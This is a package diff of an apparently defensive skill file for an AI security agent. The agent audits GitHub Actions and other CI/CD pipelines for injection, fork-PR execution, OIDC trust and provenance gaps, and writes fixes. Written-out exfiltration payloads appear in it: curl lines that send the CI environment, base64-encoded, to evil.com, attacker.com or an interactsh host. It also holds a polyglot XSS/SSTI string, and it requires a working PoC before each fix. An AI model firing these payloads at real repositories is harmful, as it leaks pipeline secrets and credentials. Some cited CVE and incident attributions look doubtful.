security-mcp 1.1.4 → 1.3.3

package/skills/cicd-pipeline-hijacker/SKILL.md

@@ -22,6 +22,15 @@ and every secret in the CI environment is a target.
 Find every CI/CD pipeline vulnerability that could allow secret exfiltration, unauthorized
 deployment, or pipeline poisoning. Write fixed workflow YAML inline. Covers §6 fully.
 
+## BEYOND THE CHECKS — AUTONOMOUS DETECT & FIX
+
+The `ci-pipeline.ts` detection module (`src/gate/checks/ci-pipeline.ts`), with `supply-chain-deep.ts` for provenance, is your deterministic floor, not your ceiling. Treat its finding IDs as the minimum, then reason past what single-line/single-file pattern matching can see — and APPLY the fix (Edit the workflow YAML / trust policy), not just advise:
+
+- **Cross-file / data-flow reasoning the regex can't do:** a `pull_request_target` trigger in one workflow that checks out fork head and invokes a reusable workflow in another file (which then uses an unsanitized `input` in `run:`) is a poisoned-pipeline-execution chain no single-file grep resolves.
+- **Semantic / effective-state analysis:** model the trust boundary — does an OIDC `sub` condition in the IaC trust policy actually pin `ref:refs/heads/main`, or can any PR branch assume the production role; is a `${{ github.event.* }}` value reaching a shell context without an intermediate `env:` that forces quoting; is the runner ephemeral.
+- **External corroboration:** use WebSearch/WebFetch for current GitHub Actions hardening guidance, pipeline-injection CVEs, and known-good Action commit SHAs.
+- **Apply & prove:** write the fix inline (pin Actions to full SHA, scope OIDC subject, set minimal `permissions`, route event context through `env:`, add SLSA provenance), re-run the `ci-pipeline.ts`/`supply-chain-deep.ts` checks plus an actionlint/zizmor regression floor, then re-audit the trust boundary semantically. Emit the LEARNING SIGNAL per fix; surface any fix that changes intended behavior as an explicit trade-off with the secure default.
+
 ## EXECUTION
 
 1. Scan `.github/workflows/`, `.gitlab-ci.yml`, `Jenkinsfile`, `.circleci/config.yml`,
@@ -79,3 +88,408 @@ If internet permitted:
 - Attack scenario (who can exploit, what secret is exfiltrated, what deployment is hijacked)
 - Fixed workflow YAML written inline
 - §6 pipeline gate status (present/missing per gate type)
+
+Every findings JSON MUST include `intelligenceForOtherAgents`:
+```json
+{
+  "intelligenceForOtherAgents": {
+    "forPentestTeam": [{ "type": "HIGH_VALUE_TARGET", "description": "...", "exploitHint": "..." }],
+    "forCryptoSpecialist": [{ "type": "CRYPTO_WEAKNESS_REFERENCE", "algorithm": "...", "location": "..." }],
+    "forCloudSpecialist": [{ "type": "SSRF_TO_CLOUD_CHAIN", "ssrfLocation": "...", "escalationPath": "..." }],
+    "forComplianceGrc": [{ "type": "COMPLIANCE_BLOCKER", "frameworks": ["..."], "releaseBlock": true }]
+  }
+}
+```
+
+---
+
+## BEYOND SKILL.MD — MANDATORY EXPANSIONS
+
+### 1. Dependency Confusion / Namespace Squatting in Build Pipelines (CVE-2021-22005 class)
+
+**Technique:** When a private package registry is configured but public registry fallback is
+enabled, an attacker registers a public package with the same name as an internal package at
+a higher version number. npm/pip/Maven resolves the highest version, pulling attacker code
+into the build.
+
+**Detection:**
+```bash
+# Check for dual-registry npm configs without scope-locking
+grep -r "registry" .npmrc .yarnrc .yarnrc.yml package.json
+# Finding: registry set globally without per-scope pinning to internal registry
+grep -r "strict-ssl\|always-auth" .npmrc
+# Check Gemfile/requirements.txt/pom.xml for internal-only package names
+```
+**Finding constitutes:** Any pipeline that installs packages without `--prefer-offline` or
+scope-locked registry config, where internal package names are discoverable.
+
+### 2. GitHub Actions Expression Injection via `toJSON()` (GHSL-2021-219 class)
+
+**Technique:** GitHub Actions `toJSON(github.event)` or individual PR-event fields
+(`github.event.pull_request.body`, `github.event.issue.title`) embedded inside `run:` steps
+allow attacker-controlled content to break out of the shell context. Classic payload:
+`"; curl https://evil.com/$(cat /proc/self/environ | base64) #`
+
+**Detection:**
+```bash
+grep -rn "github\.event\." .github/workflows/ | grep -v "if:" | grep "run:"
+grep -rn "\${{ github\.event\.pull_request\." .github/workflows/
+grep -rn "\${{ github\.event\.issue\." .github/workflows/
+grep -rn "\${{ github\.event\.comment\." .github/workflows/
+```
+**Finding constitutes:** Any `${{ github.event.* }}` interpolation that appears inside a
+`run:` block without intermediate `env:` variable assignment (which forces shell escaping).
+
+### 3. Poisoned Pipeline Execution (PPE) via `.github/workflows` in Fork PRs
+
+**Technique:** `pull_request_target` runs in the base repo's context with full secrets access
+but checks out the fork's code. Attacker opens a PR from a fork that modifies workflow files
+or referenced scripts; the workflow executes attacker-controlled steps with production secrets.
+Research published by Argon Security (2021), now codified as MITRE ATT&CK T1195.001.
+
+**Detection:**
+```bash
+# CRITICAL: find pull_request_target triggers
+grep -rn "pull_request_target" .github/workflows/
+# Then check if any such workflow checks out PR head
+grep -A 20 "pull_request_target" .github/workflows/*.yml | grep -E "ref.*head|checkout.*head"
+```
+**Finding constitutes:** `pull_request_target` trigger + `actions/checkout` using
+`ref: ${{ github.event.pull_request.head.sha }}` or `ref: ${{ github.head_ref }}`.
+
+### 4. OIDC Audience Bypass and Overly Broad Subject Claims
+
+**Technique:** GitHub Actions OIDC tokens carry a `sub` (subject) claim like
+`repo:org/repo:ref:refs/heads/main`. If an AWS IAM role's trust policy uses only
+`repo:org/repo` in the condition (missing the `ref` component), any branch — including an
+attacker's PR branch — can assume the production role. This maps to the 2023 Datadog
+incident and multiple public GitHub Security Lab disclosures.
+
+**Detection:**
+```bash
+# Find OIDC usage in workflows
+grep -rn "id-token\|oidc\|aws-actions/configure-aws-credentials" .github/workflows/
+# Find trust policy definitions in Terraform/CloudFormation
+grep -rn "StringLike\|StringEquals" infra/ terraform/ | grep -i "token.actions"
+# Finding: subject condition missing ref: clause or using StringLike with wildcard
+grep -rn "repo:\*\|:*\"" infra/ terraform/ | grep -i "token.actions"
+```
+**Finding constitutes:** Trust policy `StringLike` condition on OIDC sub that permits any
+branch (`*`) to assume a role that has write access to production resources.
+
+### 5. Self-Hosted Runner Persistence via T1053.005 (Scheduled Task / Cron)
+
+**Technique:** A self-hosted GitHub Actions runner executes as a service account on a
+persistent VM or container. An attacker who achieves code execution within a CI job
+(via injection or supply chain) can write a crontab entry, systemd timer, or launch daemon
+that survives across job boundaries, effectively APT-persisting on the runner host and
+intercepting future secrets from all jobs that use that runner.
+
+**Detection:**
+```bash
+# Identify self-hosted runner usage
+grep -rn "runs-on: self-hosted\|runs-on:.*self-hosted" .github/workflows/
+# Check if runners are ephemeral (just-in-time runners) or persistent
+# Check runner registration in org settings; look for runner group isolation
+grep -rn "runs-on:" .github/workflows/ | grep -v "ubuntu-\|windows-\|macos-"
+```
+**Finding constitutes:** `runs-on: self-hosted` or any non-ephemeral runner label on a
+workflow that handles production secrets, without documented ephemeral/JIT runner configuration.
+
+### 6. Artifact Poisoning and Build Provenance Gaps (SLSA Levels 0-1)
+
+**Technique:** When a CI pipeline uploads build artifacts without cryptographic provenance
+attestation, a compromised intermediate step (build server, artifact store, CDN) can silently
+replace legitimate artifacts with backdoored ones. This is the exact mechanism behind the
+SolarWinds Orion and XZ Utils attacks. SLSA L2+ requires signed provenance; SLSA L3+ requires
+a hermetic, reproducible build.
+
+**Detection:**
+```bash
+# Check for SLSA provenance generation
+grep -rn "slsa-framework/slsa-github-generator\|sigstore\|cosign\|in-toto" .github/workflows/
+# Check for artifact signature verification at deploy time
+grep -rn "cosign verify\|slsa-verifier" .github/workflows/ Makefile deploy/
+# Check npm publish workflow for provenance flag
+grep -rn "npm publish\|--provenance" .github/workflows/
+```
+**Finding constitutes:** Any release or deployment pipeline that publishes artifacts,
+container images, or npm packages without SLSA L2 provenance attestation.
+
+### 7. AI-Assisted Workflow Generation Introducing New Attack Surfaces (Emerging Threat)
+
+**Technique:** Developers increasingly use LLMs (GitHub Copilot, ChatGPT, Claude) to generate
+CI/CD workflow YAML. These tools frequently produce `pull_request_target` triggers, mutable
+SHA tags, `permissions: write-all`, and direct `${{ github.event.* }}` interpolations because
+their training data predates GitHub's security hardening guidance. A single LLM-generated
+workflow in a large repo can introduce a CRITICAL pipeline injection vector.
+
+**Detection:**
+```bash
+# Look for recently added workflow files (last 90 days) and audit them specifically
+git log --since="90 days ago" --name-only --diff-filter=A -- ".github/workflows/*.yml"
+# For each new file, run the full injection pattern battery
+grep -n "pull_request_target\|write-all\|github\.event\.\|@v[0-9]" .github/workflows/
+```
+**Finding constitutes:** Any newly added workflow file containing injection-prone patterns,
+regardless of source. Flag for developer education on AI-generated pipeline risks.
+
+### 8. Post-Quantum Supply Chain: Signing Key Compromise and Harvest-Now-Decrypt-Later
+
+**Technique:** Build pipeline signing keys (GPG keys for apt/rpm repos, code signing
+certificates, npm publish tokens, container image signing keys) generated today using
+RSA-2048 or ECDSA P-256 are vulnerable to harvest-now-decrypt-later attacks. Adversaries
+capturing signed release artifacts and their associated metadata today will be able to
+forge signatures once CRQCs become available (est. 2028-2032). This is especially relevant
+for long-lived software like OS packages, firmware, and enterprise SDKs.
+
+**Detection:**
+```bash
+# Find GPG key sizes used for package signing
+grep -rn "gpg --gen-key\|gpg --sign\|KEY_ID\|GPG_PRIVATE_KEY" .github/workflows/ Makefile
+# Check cosign key algorithm in existing signing configs
+find . -name "cosign.key" -o -name "*.pub" | xargs file 2>/dev/null | grep -i "rsa\|ecdsa"
+# Find npm publish auth tokens — check if 2FA/granular tokens are used
+grep -rn "NPM_TOKEN\|NODE_AUTH_TOKEN" .github/workflows/
+```
+**Finding constitutes:** Release pipeline using RSA/ECDSA signing keys with no documented
+migration plan to ML-DSA (FIPS 204) or ML-KEM (FIPS 203) equivalent; any signing key stored
+as a plaintext GitHub secret without rotation policy.
+
+---
+
+## §CICD_PIPELINE_HIJACKER-CHECKLIST
+
+1. **pull_request_target checkout of fork head** — Mechanism: `pull_request_target` trigger
+   with `actions/checkout` using `ref: ${{ github.event.pull_request.head.sha }}` executes
+   attacker code with base-repo secrets. Grep: `grep -rn "pull_request_target" .github/workflows/`
+   then check following `checkout` step. Finding: any co-occurrence of trigger + head checkout.
+
+2. **Mutable Action SHA pinning** — Mechanism: `uses: org/action@v1` resolves to a mutable
+   git tag that can be silently updated by the action author or a compromised account.
+   Grep: `grep -rn "uses:.*@v[0-9]\|uses:.*@main\|uses:.*@master" .github/workflows/`
+   Finding: any `uses:` not pinned to a full 40-character commit SHA.
+
+3. **Expression injection via PR-controlled context values** — Mechanism: `${{ github.event.
+   pull_request.title/body/head.ref }}` inside `run:` allows shell breakout.
+   Grep: `grep -rn "\${{ github\.event\." .github/workflows/ | grep -v "env:"`.
+   Finding: event context directly in `run:` without intermediate `env:` variable.
+
+4. **Overly broad GITHUB_TOKEN permissions** — Mechanism: `permissions: write-all` or absent
+   `permissions` block grants all tokens write access to code, issues, packages, and secrets.
+   Grep: `grep -rn "permissions:" .github/workflows/` — absence of block = finding.
+   Finding: any workflow without explicit minimal `permissions` declaration.
+
+5. **OIDC subject claim too permissive** — Mechanism: AWS/GCP/Azure trust policy accepting
+   `repo:org/repo:*` (wildcard branch) allows PR branches to assume production roles.
+   Test: extract trust policy conditions from Terraform/IaC; verify `ref:refs/heads/main`
+   is required. Finding: OIDC trust condition missing branch/tag restriction.
+
+6. **Self-hosted runner without ephemeral isolation** — Mechanism: persistent runner VMs
+   retain filesystem state between jobs, enabling T1053.005 persistence.
+   Grep: `grep -rn "runs-on:" .github/workflows/ | grep -v "ubuntu-\|windows-\|macos-"`.
+   Finding: any non-GitHub-hosted runner label without documented ephemeral provisioning.
+
+7. **Secret leakage into logs or artifacts** — Mechanism: `set -x`, `env` dump, or artifact
+   upload of files containing secret values exposes credentials in workflow run logs.
+   Grep: `grep -rn "set -x\|printenv\|env\b" .github/workflows/` + check artifact upload paths.
+   Finding: any command that could expand secret values into stdout in a `run:` step.
+
+8. **Cache key poisoning in shared caches** — Mechanism: cache key includes attacker-controlled
+   data (branch name, PR number, file hash of attacker-modified file), allowing cache
+   replacement that persists to other branches.
+   Grep: `grep -rn "cache-dependency-path\|key:" .github/workflows/ | grep "github\.head_ref\|github\.sha"`.
+   Finding: cache key that incorporates PR-contributor-controlled data.
+
+9. **Reusable workflow input injection** — Mechanism: caller workflow passes attacker-controlled
+   data as `inputs` to a trusted reusable workflow that uses inputs in `run:` steps.
+   Grep: `grep -rn "workflow_call" .github/workflows/` then audit `inputs:` usage in `run:`.
+   Finding: reusable workflow `inputs` used directly in shell steps without sanitization.
+
+10. **Missing pipeline security gates on PR path** — Mechanism: absence of required status
+    checks (SAST, SCA, container scan, IaC scan) means vulnerable code reaches production.
+    Test: check branch protection rules via `gh api repos/OWNER/REPO/branches/main/protection`.
+    Finding: any of CodeQL/Semgrep, Dependabot/Snyk, Trivy/Grype, tfsec/Checkov absent from
+    required status checks on the default branch.
+
+11. **Artifact without provenance attestation (SLSA gap)** — Mechanism: unsigned artifacts
+    allow supply chain substitution between build and deployment.
+    Grep: `grep -rn "upload-artifact\|npm publish\|docker push" .github/workflows/` then verify
+    corresponding `slsa-github-generator` or `cosign sign` step.
+    Finding: any release or publish step without provenance generation.
+
+12. **Dependency confusion via public registry fallback** — Mechanism: `.npmrc` or `pip.conf`
+    configured with internal registry but no scope-lock, enabling namespace squatting.
+    Grep: `grep -rn "registry\|index-url\|extra-index-url" .npmrc .yarnrc pip.conf setup.cfg`.
+    Finding: internal registry configured without scope-locking or `--no-dependencies` flag
+    preventing public fallback for private package names.
+
+---
+
+## §POC-REQUIREMENT
+
+For every CRITICAL or HIGH finding in this domain:
+
+1. **Write the working PoC FIRST** (exact payload, exact request, observed impact)
+2. **Confirm the PoC reproduces the issue**
+3. **THEN write the fix**
+4. **THEN verify the PoC fails against the fix**
+5. **Record the PoC in findings JSON under `exploitPoC`**
+
+PoC skipping = finding severity downgraded to MEDIUM automatically.
+
+**Example PoC structure for pipeline injection finding:**
+
+```json
+{
+  "findingId": "CICD-001",
+  "severity": "CRITICAL",
+  "class": "Pipeline Expression Injection",
+  "exploitPoC": {
+    "precondition": "Attacker forks repo and opens a PR",
+    "payload": "PR title set to: a\"; curl https://attacker.com/$(env | base64 -w0); echo \"",
+    "triggerStep": "Push commit to fork branch — workflow triggers on pull_request_target",
+    "observedImpact": "HTTP request received at attacker.com containing all environment variables including AWS_SECRET_ACCESS_KEY",
+    "reproduced": true,
+    "reproductionCommand": "gh pr create --title 'a\"; curl https://[interactsh-url]/$(env|base64 -w0); echo \"' --body test"
+  },
+  "fix": {
+    "description": "Use intermediate env var to force shell quoting",
+    "fixedYaml": "env:\n  PR_TITLE: ${{ github.event.pull_request.title }}\nrun: echo \"$PR_TITLE\"",
+    "pocFailsAfterFix": true
+  }
+}
+```
+
+---
+
+## §PROJECT-ESCALATION
+
+Immediately call `orchestration.update_agent_status` with `"CRITICAL_ESCALATION"` and halt
+other findings collection to alert the orchestrator under ANY of these conditions:
+
+1. **Live secret confirmed exfiltrated from pipeline logs** — A GitHub Actions or CI log
+   contains a plaintext AWS key, GitHub PAT, npm token, or other credential that is currently
+   valid. The credential must be rotated before any further analysis proceeds. Exfiltration
+   window is open right now.
+
+2. **Production deployment reachable from fork PR without approval** — `pull_request_target`
+   + checkout of fork head + production secrets in the same workflow = an unauthenticated
+   external contributor can deploy arbitrary code to production infrastructure in a single PR.
+   This is an active critical attack surface.
+
+3. **OIDC trust policy allows any branch to assume a production IAM/GCP role** — An attacker
+   opening any PR branch can obtain cloud credentials scoped to production resources. This is
+   equivalent to a publicly exposed production credentials endpoint.
+
+4. **Self-hosted runner confirmed to have persistent attacker artifact** — Evidence of a
+   cron entry, systemd service, SSH authorized_keys modification, or `.bashrc`/`.profile`
+   modification in a runner's filesystem that was introduced by a CI job. Active compromise
+   of build infrastructure.
+
+5. **Third-party Action at mutable tag confirmed to be backdoored** — SHA mismatch between
+   the tag the workflow references and the expected content, or a known-malicious SHA
+   identified via GitHub Security Advisory or supply chain threat intelligence feed.
+   Equivalent to a confirmed malware insertion in the build toolchain.
+
+6. **Secrets committed to workflow file or `.env` file in repository** — Hardcoded API keys,
+   tokens, or credentials found directly in workflow YAML, `Makefile`, or environment files
+   that are committed to git history. Requires immediate rotation and git history purge.
+
+7. **No security gates on any path to production** — Zero SAST, SCA, container, or IaC
+   checks required before production deployment, AND deployment is automated on merge to main.
+   Combined with a single injection finding, this represents full, undetected compromise-to-
+   production capability.
+
+8. **Evidence of CI/CD pipeline compromise in git history** — Unexpected workflow file
+   modification by a non-core contributor, anomalous commit patterns, or workflow modifications
+   that occurred without a corresponding PR review. Indicates pipeline may already be
+   compromised; all artifacts produced since the suspicious commit are potentially tainted.
+
+---
+
+## §EDGE-CASE-MATRIX
+
+The 5 attack cases in this domain that automated scanners and naive manual review universally miss. MANDATORY checks — do not skip.
+
+| # | Edge Case | Why Scanners Miss It | Concrete Test |
+|---|-----------|----------------------|---------------|
+| 1 | Second-order / stored payload executed in different context | Scanner checks input context, not execution context | Store payload safely; trigger in separate request/session |
+| 2 | Unicode normalisation bypass | Regex filters run before normalisation; attacker uses homoglyphs or composed forms | Submit Ⅰ (U+2160) or ＜ (U+FF1C) variants of known-bad strings |
+| 3 | Polyglot payload active in multiple sinks simultaneously | Scanners test one injection class per payload | `'"><script>{{7*7}}</script><!--` — SQL + XSS + SSTI in one request |
+| 4 | Out-of-band exfiltration (DNS/HTTP callback) | Scanner looks for inline response difference; OOB leaves no visible trace | Use Burp Collaborator / interactsh; inject DNS lookup payload |
+| 5 | Race condition between check and use (TOCTOU) | Sequential scanners don't model concurrency | Send two simultaneous requests to the same state-changing endpoint |
+
+---
+
+## §TEMPORAL-THREATS
+
+Threats materialising in the 2025–2030 window that defences designed today must account for.
+
+| Threat | Est. Timeline | Relevance to This Domain | Prepare Now By |
+|--------|--------------|--------------------------|----------------|
+| Cryptographically Relevant Quantum Computer (CRQC) | 2028–2032 | Harvest-now-decrypt-later attacks active today; RSA/ECDSA keys signed today will be broken | Inventory all RSA/ECDSA usage; migrate long-lived data to ML-KEM (FIPS 203) |
+| AI-assisted adversaries at scale | 2025–2027 (active) | LLM-powered fuzzing finds 10× more edge cases; automated PoC generation | Assume attackers have LLM help; expand test surface to match |
+| EU AI Act full enforcement | 2026 | High-risk AI systems require mandatory conformity assessments | Classify all AI features against AI Act tiers now |
+| Post-quantum TLS migration deadline | 2028–2030 | Browser vendors will drop classical-only TLS connections | Begin TLS agility assessment; test hybrid key exchange |
+| Mandatory SBOM + build provenance (US EO 14028 / EU CRA) | 2025–2026 (active) | SBOM and SLSA attestation are becoming legally required | Achieve SLSA L2 minimum; generate CycloneDX SBOM per release |
+
+---
+
+## §DETECTION-GAP
+
+What current security monitoring CANNOT detect in this domain, and what to build to close each gap.
+
+**Standard gaps that MUST be checked:**
+
+- **Second-order attack execution**: The storage request looks safe; only the retrieval+execution step is dangerous. Need: correlate write events with downstream read+execute events in the same SIEM query window.
+- **Timing-side-channel leakage**: No log event emitted; only observable as microsecond response-time variance. Need: per-endpoint p99 latency tracking with statistical anomaly detection.
+- **Low-and-slow credential stuffing**: Individually, each request is under rate limits. Need: behavioural baseline — flag accounts with geographically impossible velocity or device-fingerprint mismatch across authentication attempts.
+- **Insider exfiltration via legitimate process**: Authorised exports, reports, and data downloads that individually are permitted but collectively constitute data exfiltration. Need: data-volume anomaly detection — alert when a single user's data access volume exceeds 3× their 30-day baseline within 24 hours.
+- **Cross-agent attack chains**: Phase 1 finding A + Phase 1 finding B = CRITICAL chain invisible to either agent alone. Need: CISO orchestrator Phase 1 synthesis step — correlate all agent findings before Phase 2.
+
+**CI/CD-specific detection gaps:**
+
+- **Cache poisoning between branches**: Artifact caches are shared across branches; a poisoned cache entry from one job silently corrupts subsequent jobs on different branches. SIEM events do not include cache content hashes. Need: cache integrity verification step at job start using known-good hashes stored out-of-band.
+- **Runner filesystem modification**: No GitHub Actions log event is emitted when a job modifies the runner filesystem outside the workspace directory. Need: file integrity monitoring (FIM) on runner hosts with alerts on changes outside `/home/runner/work/`.
+- **OIDC token replay across environments**: A short-lived OIDC token issued to a dev job and captured by a malicious step can be replayed against production within its validity window. Need: audience binding and single-use token enforcement at the cloud provider trust policy layer.
+- **Supply chain compromise via transitive dependency**: Direct dependency is legitimate; an attacker compromises a transitive dependency three levels deep. SAST and SCA tools only check declared dependencies. Need: full transitive dependency lockfile pinning with SHA-based verification (npm lockfile v3, Cargo.lock, pip-tools hashes).
+
+---
+
+## §ZERO-MISS-MANDATE
+
+This agent CANNOT declare any attack class clean without explicit evidence of checking. For each item, output one of:
+- `CHECKED: [N files] | [patterns used] | CLEAN`
+- `CHECKED: [N files] | [patterns used] | [N findings, all fixed]`
+- `SKIPPED: [reason — must be "not applicable: [evidence]"]`
+
+**Silent skip = FAILED COVERAGE.** The orchestrator flags this as a quality gap.
+
+The output findings JSON MUST include a `coverageManifest` key:
+```json
+{
+  "coverageManifest": {
+    "attackClassesCovered": [{ "class": "Pipeline Expression Injection", "filesReviewed": 12, "patterns": ["github.event.pull_request", "run: steps with event context"], "result": "CLEAN" }],
+    "filesReviewed": 12,
+    "negativeAssertions": ["pull_request_target: searched across 12 workflow files — 0 occurrences", "Mutable SHA pinning: 0 @v[0-9] or @main tags found"],
+    "uncoveredReason": {}
+  }
+}
+```
+
+---
+
+## LEARNING SIGNAL
+
+On every finding resolved, emit:
+```json
+{
+  "findingId": "FINDING_ID",
+  "agentName": "cicd-pipeline-hijacker",
+  "resolved": true,
+  "remediationTemplate": "one-line description of what was done",
+  "falsePositive": false
+}
+```
+Call `security.record_outcome` with this payload so the routing engine learns which agent resolves each finding class most successfully. If a finding is a false positive, set `falsePositive: true` — this prevents the false-positive pattern from being routed here again.